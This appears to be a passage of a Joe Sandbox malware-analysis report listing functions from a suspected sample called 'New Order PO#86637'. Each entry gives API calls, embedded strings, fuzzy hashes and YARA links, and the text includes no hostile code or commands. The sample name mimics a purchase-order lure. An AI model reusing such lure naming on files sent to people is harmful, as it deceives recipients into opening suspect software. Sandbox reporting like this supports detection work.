Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$_wcsncpy$LocalTime__fassign
String ID:
API String ID: 461458858-0
Opcode ID: 26761b0a7209b856481a9ddbc8736091f87f92f0ac2320453e44697a96ade7e6
Instruction ID: 9848deb76f2cd1bd94a84263f46e444e1138d8b87e7a9916e51222e649cc75ea
Opcode Fuzzy Hash: 26761b0a7209b856481a9ddbc8736091f87f92f0ac2320453e44697a96ade7e6
Instruction Fuzzy Hash: B1417372D10204B6CF10EFA5C946ADFF3B8DF49314F90885BE909E3121F6B4E65583A9

Function 0043009D Relevance: 21.1, APIs: 14, Instructions: 134filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004300C3
GetFileSize.KERNEL32(00000000,00000000), ref: 004300DE
GlobalAlloc.KERNEL32(00000002,00000000), ref: 004300E9
GlobalLock.KERNEL32(00000000), ref: 004300F6
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00430105
GlobalUnlock.KERNEL32(00000000), ref: 0043010C
CloseHandle.KERNEL32(00000000), ref: 00430113
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00430120
OleLoadPicture.OLEAUT32(?,00000000,00000000,004829F8,?), ref: 0043013E
GlobalFree.KERNEL32(00000000), ref: 00430150
GetObjectW.GDI32(?,00000018,?), ref: 00430177
CopyImage.USER32(?,00000000,?,?,00002000), ref: 004301A8
DeleteObject.GDI32(?), ref: 004301D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004301E7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3969911579-0
Opcode ID: fd1addb57dfcb9cf3c81a7192785a12cb72203be8d3c1966912b6329e8233f20
Instruction ID: 40287395d2d29e4935595b2baf4d6657c54b4003bec4d35786bf86d2452689d1
Opcode Fuzzy Hash: fd1addb57dfcb9cf3c81a7192785a12cb72203be8d3c1966912b6329e8233f20
Instruction Fuzzy Hash: 41414C75600208AFDB10DF64DD88FAE77B8EF48711F108659FA05AB290D7B5AD01CB68

Function 004551F5 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 115windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 0045522E
DeleteMenu.USER32(?,?,00000000), ref: 0045529A
DeleteMenu.USER32(?,?,00000000), ref: 004552B0
GetMenuItemCount.USER32(?), ref: 004552C1
SetMenu.USER32(?,00000000), ref: 004552CF
DestroyMenu.USER32(?,?,00000000), ref: 004552DC
DrawMenuBar.USER32 ref: 004552EF
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Strings

0, xrefs: 00455207

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow
String ID: 0
API String ID: 956284711-4108050209
Opcode ID: d13a276e73d68c5a88ff05331af00a4635b68400f986b822500444c43e982ccd
Instruction ID: b5af5d15e8ca477bb279da78e69062a53aed449fe0dbaae2e4c2ef00f9b57ed5
Opcode Fuzzy Hash: d13a276e73d68c5a88ff05331af00a4635b68400f986b822500444c43e982ccd
Instruction Fuzzy Hash: 91412770200601AFD714DF64D9A8B6B77A8BF48302F10896DFD45CB292D778E848CFA9

Function 00433493 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 84networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004334B0
gethostname.WSOCK32(?,00000100), ref: 004334CA
gethostbyname.WSOCK32(?), ref: 004334D7
_wcscpy.LIBCMT ref: 00433506
WSACleanup.WSOCK32 ref: 0043350E
_memmove.LIBCMT ref: 00433525
inet_ntoa.WSOCK32(?), ref: 00433531
_strcat.LIBCMT ref: 0043353F
_wcscpy.LIBCMT ref: 00433556
WSACleanup.WSOCK32 ref: 00433564
_wcscpy.LIBCMT ref: 00433576

Strings

0.0.0.0, xrefs: 00433500

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcscpy$Cleanup$Startup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 1965227024-3771769585
Opcode ID: fae7ff6cb08d49b7abbddf1c7acdf758c3bbd000e7fec019eac0b45bea4aa72c
Instruction ID: 28916de6e65f37ac85efecafd260a3a31c9a3caf28ae6c56f7260ddb0d4b80cb
Opcode Fuzzy Hash: fae7ff6cb08d49b7abbddf1c7acdf758c3bbd000e7fec019eac0b45bea4aa72c
Instruction Fuzzy Hash: 4F213A32A00114BBC710AF65DC05EEF736CEF99716F0045AFF90993151EEB99A8187E8

Function 0045F56D Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0045F5D5
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045F5EC
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045F5FE
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0045F611
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045F61E
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0045F634

Strings

close PlayMe, xrefs: 0045F5E7, 0045F619
play PlayMe, xrefs: 0045F62F
alias PlayMe, xrefs: 0045F5AF
status PlayMe mode, xrefs: 0045F5D0
open , xrefs: 0045F584
play PlayMe wait, xrefs: 0045F60C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: SendString$_memmove_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 369157077-1007645807
Opcode ID: f963851227cb2bcafec7df3ef8778280fda42e08bc5c03876a4728c3ed9f2a05
Instruction ID: e81aaa69409cfefceaf3864659f825962b2ddf67c6d06b6a861a29a56a66176d
Opcode Fuzzy Hash: f963851227cb2bcafec7df3ef8778280fda42e08bc5c03876a4728c3ed9f2a05
Instruction Fuzzy Hash: 7F21A83168021D66E720FB95DC46FFE7368AF40700F20087BFA14B71D1DAB4A949879D

Function 00445BE4 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00445BF8
GetClassNameW.USER32(00000000,?,00000100), ref: 00445C0D
__wcsicoll.LIBCMT ref: 00445C33
__wcsicoll.LIBCMT ref: 00445C4F
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445CA9

Strings

list, xrefs: 00445C8B
smallicons, xrefs: 00445C65
SHELLDLL_DefView, xrefs: 00445C19
largeicons, xrefs: 00445C2D
details, xrefs: 00445C49

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicoll$ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 3125838495-3381328864
Opcode ID: 17bab07e815737d0aecd422002c3b7a0f260523ca91fc6be5302b60c0052203b
Instruction ID: b9a51c7f116d0e73852bd225d20f6d8bcb5f39b8f57bd3164038c04ed7d94027
Opcode Fuzzy Hash: 17bab07e815737d0aecd422002c3b7a0f260523ca91fc6be5302b60c0052203b
Instruction Fuzzy Hash: C6110AB1E447017BFE10BA659D46EBB339C9B54B11F00051BFE44D7242F6ACA94147A9

Function 004491B9 Relevance: 19.7, APIs: 13, Instructions: 246windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,000000FF,?), ref: 004492A4
SendMessageW.USER32(?,?,00000000,00000000), ref: 004492B7
CharNextW.USER32(?,?,?,000000FF,?), ref: 004492E9
SendMessageW.USER32(?,?,00000000,00000000), ref: 00449301
SendMessageW.USER32(?,?,00000000,?), ref: 00449332
SendMessageW.USER32(?,?,000000FF,?), ref: 00449349
SendMessageW.USER32(?,?,00000000,00000000), ref: 0044935C
SendMessageW.USER32(?,00000402,?), ref: 00449399
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0044940D
SendMessageW.USER32(?,00001002,00000000,?), ref: 00449477

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 0066c399e5a393c923680e2e66105d8530035c3b09cc99687380ea8ee93f4497
Instruction ID: 867fdc7b80e212b75fe5daf06e5219747a853435bb2a874e280223eddbea68d3
Opcode Fuzzy Hash: 0066c399e5a393c923680e2e66105d8530035c3b09cc99687380ea8ee93f4497
Instruction Fuzzy Hash: 5B81D535A00119BBEB10CF85DD80FFFB778FB55720F10825AFA14AA280D7B99D4197A4

Function 00478656 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 004536F7: CharLowerBuffW.USER32(?,?), ref: 0045370C

Part of subcall function 00445AE0: _wcslen.LIBCMT ref: 00445AF0

GetDriveTypeW.KERNEL32(?), ref: 004787B9
_wcscpy.LIBCMT ref: 004787E5

Strings

cdrom, xrefs: 004786DB
unknown, xrefs: 0047876F
all, xrefs: 004786BB
fixed, xrefs: 00478718
\VH, xrefs: 004787CD
a, xrefs: 0047878B
removable, xrefs: 004786FB
ramdisk, xrefs: 00478752
network, xrefs: 00478735

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy_wcslen
String ID: \VH$a$all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 3052893215-2127371420
Opcode ID: d2cef25e8da5c5e3ff62787a2d5bf57075b394b4544bde345958b2b0489681b6
Instruction ID: 541bc2b2506c052d744bcb7e7e177e26c036821b53f5a58429f0f0853ea8de24
Opcode Fuzzy Hash: d2cef25e8da5c5e3ff62787a2d5bf57075b394b4544bde345958b2b0489681b6
Instruction Fuzzy Hash: 4761C1716443018BD700EF14CC85B9BB7D4AB84348F14892FF949AB382DB79E94987AB

Function 0045E737 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 163COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E77F

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E7A0
__swprintf.LIBCMT ref: 0045E7F7
_wprintf.LIBCMT ref: 0045E8B3
_wprintf.LIBCMT ref: 0045E8D7

Strings

Error: , xrefs: 0045E87A
Line %d (File "%s"):, xrefs: 0045E7F1
%s (%d) : ==> %s:, xrefs: 0045E8D2
^ ERROR, xrefs: 0045E851
%s (%d) : ==> %s:%s%s, xrefs: 0045E8AE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove_wcslen
String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2295938435-2354261254
Opcode ID: bb058454d561a71d3962b6834df81d7638d9abf9c215052f6de6d44e2e152ebf
Instruction ID: 453f5dd12ee62c270a242db3517b58e8b6225e49c0ff470bc5072f32437c925c
Opcode Fuzzy Hash: bb058454d561a71d3962b6834df81d7638d9abf9c215052f6de6d44e2e152ebf
Instruction Fuzzy Hash: 6A519E71A10219ABDB14EB91CC85EEF7778AF44314F14407EF90477292DB78AE49CBA8

Function 004531B1 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 160COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 004531E9
__i64tow.LIBCMT ref: 00453206
__swprintf.LIBCMT ref: 00453227
__swprintf.LIBCMT ref: 00453243
_wcscpy.LIBCMT ref: 00453261
_wcscpy.LIBCMT ref: 0045329D

Strings

%.15g, xrefs: 00453221
False, xrefs: 00453274
True, xrefs: 0045325B
0x%p, xrefs: 0045323D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __swprintf_wcscpy$__i64tow__itow
String ID: %.15g$0x%p$False$True
API String ID: 3038501623-2263619337
Opcode ID: dbd07ee36d68efbdb82b47f6bbdb5a558a403895529f1bd62c5843a789ef215e
Instruction ID: fd507a47f7d2c8f7f5848ea17d112ce969af4838d766d220e6d3988dad71e25c
Opcode Fuzzy Hash: dbd07ee36d68efbdb82b47f6bbdb5a558a403895529f1bd62c5843a789ef215e
Instruction Fuzzy Hash: 264108729001005BDB10EF75DC42FAAB364EF55306F0445ABFE09CB242EA39DA48C79A

Function 0045E538 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E580

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E59F
__swprintf.LIBCMT ref: 0045E5F6
_wprintf.LIBCMT ref: 0045E6A3
_wprintf.LIBCMT ref: 0045E6C7

Strings

Error: , xrefs: 0045E66A
Line %d (File "%s"):, xrefs: 0045E5F0
%s (%d) : ==> %s:, xrefs: 0045E6C2
^ ERROR , xrefs: 0045E639
%s (%d) : ==> %s:%s%s, xrefs: 0045E69E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove_wcslen
String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2295938435-8599901
Opcode ID: c66a723599ffab058b3f3cea1f0729b04811ebb293e3d225dd53f192e4035716
Instruction ID: ff3e2b23dced8a629e5b21f12e79e468b5cd48208a3d74017576322ff0354a8f
Opcode Fuzzy Hash: c66a723599ffab058b3f3cea1f0729b04811ebb293e3d225dd53f192e4035716
Instruction Fuzzy Hash: 9A519171D00109ABDB14EBA1C845EEF7778EF44304F50847EF91477292EA78AE49CBA8

Function 00443B61 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00443B67

Part of subcall function 0040C620: timeGetTime.WINMM(0042DD5D), ref: 0040C620

Sleep.KERNEL32(0000000A), ref: 00443B9F
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00443BC8
SetActiveWindow.USER32(00000000), ref: 00443BEC
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00443BFC
SendMessageW.USER32(00000000,00000010,00000000,00000000), ref: 00443C22
Sleep.KERNEL32(000000FA), ref: 00443C2D
IsWindow.USER32(00000000), ref: 00443C3A
EndDialog.USER32(00000000,00000000), ref: 00443C4C

Part of subcall function 004439C1: GetWindowThreadProcessId.USER32(?,00000000), ref: 004439E4
Part of subcall function 004439C1: GetCurrentThreadId.KERNEL32 ref: 004439EB
Part of subcall function 004439C1: AttachThreadInput.USER32(00000000), ref: 004439F2

EnumThreadWindows.USER32(00000000,Function_00033D09,00000000), ref: 00443C6B

Strings

BUTTON, xrefs: 00443BB9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ThreadWindow$MessageSendSleepTimetime$ActiveAttachCurrentDialogEnumFindInputProcessWindows
String ID: BUTTON
API String ID: 1834419854-3405671355
Opcode ID: 0b90b562b2b8ddd8d32d3d53e67965f547c0866e24595f66544518a968b379f6
Instruction ID: 3c6370bb7d17ad47abda0b7088cfd3672c19e1ca6c3f529de1b12449ce3ad6f8
Opcode Fuzzy Hash: 0b90b562b2b8ddd8d32d3d53e67965f547c0866e24595f66544518a968b379f6
Instruction Fuzzy Hash: 6B31E676784200BFE3349F74FD99F5A3B58AB55B22F10083AF600EA2A1D6B5A441876C

Function 00454014 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,?,?,0042820D,?,?,?,#include depth exceeded. Make sure there are no recursive includes,?), ref: 00454039
LoadStringW.USER32(00000000), ref: 00454040

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

_wprintf.LIBCMT ref: 00454074
__swprintf.LIBCMT ref: 004540A3
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0045410F

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 0045406F
Line %d (File "%s"):, xrefs: 004540B8
., xrefs: 004540F4
Line %d:, xrefs: 0045409D
Error: , xrefs: 004540DE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wcslen_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 455036304-4153970271
Opcode ID: 0cc89bd23a2e2e53ac7bb2b5ed0e913a3f1e972501752cb0da19f3bd95e8304c
Instruction ID: e2f14448b15a7dab571624068eda089460c560eca1c8ebe4dd0daaccfe0aa2c5
Opcode Fuzzy Hash: 0cc89bd23a2e2e53ac7bb2b5ed0e913a3f1e972501752cb0da19f3bd95e8304c
Instruction Fuzzy Hash: 3B31E872B0011997CB00EF95CD069AE3378AF88714F50445EFA0877282D678AE45C7A9

Function 00467C8E Relevance: 18.3, APIs: 12, Instructions: 310COMMON

Download Yara Rule

APIs

SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467D63
SafeArrayAccessData.OLEAUT32(0000007F,0000007F), ref: 00467DDC
SafeArrayGetVartype.OLEAUT32(0000007F,?), ref: 00467E71
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00467E9D
_memmove.LIBCMT ref: 00467EB8
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00467EC1
SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467EDE
_memmove.LIBCMT ref: 00467F6C
SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467FC1
